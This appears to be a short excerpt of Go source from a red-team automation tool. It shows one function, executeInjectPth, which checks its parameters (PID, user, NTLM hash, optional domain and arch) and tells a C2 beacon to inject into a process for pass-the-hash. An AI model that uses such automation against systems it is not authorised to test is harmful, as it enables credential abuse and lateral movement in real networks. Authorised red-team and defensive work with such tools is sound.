executeInjectPth injects into a process for pass-the-hash
(ctx context.Context, client *csclient.Client, beaconID string, action Action)
| 376 | |
| 377 | // executeInjectPth injects into a process for pass-the-hash |
| 378 | func (e *Executor) executeInjectPth(ctx context.Context, client *csclient.Client, beaconID string, action Action) (string, error) { |
| 379 | pidVal, ok := action.Parameters["pid"] |
| 380 | if !ok { |
| 381 | return "", fmt.Errorf("pid parameter required for inject_pth") |
| 382 | } |
| 383 | var pid int |
| 384 | switch v := pidVal.(type) { |
| 385 | case float64: |
| 386 | pid = int(v) |
| 387 | case int: |
| 388 | pid = v |
| 389 | default: |
| 390 | return "", fmt.Errorf("pid must be a number") |
| 391 | } |
| 392 | |
| 393 | user, ok := action.Parameters["user"].(string) |
| 394 | if !ok { |
| 395 | return "", fmt.Errorf("user parameter required for inject_pth") |
| 396 | } |
| 397 | ntlmHash, ok := action.Parameters["ntlm_hash"].(string) |
| 398 | if !ok { |
| 399 | return "", fmt.Errorf("ntlm_hash parameter required for inject_pth") |
| 400 | } |
| 401 | arch, _ := action.Parameters["arch"].(string) // optional |
| 402 | domain, _ := action.Parameters["domain"].(string) // optional |
| 403 | |
| 404 | resp, err := client.InjectPth(ctx, beaconID, pid, arch, domain, user, ntlmHash) |
| 405 | if err != nil { |
| 406 | return "", err |
| 407 | } |
| 408 | return e.waitForOutput(ctx, client, resp.TaskID) |
| 409 | } |
| 410 | |
| 411 | // --- DLL Operations --- |
| 412 |
no test coverage detected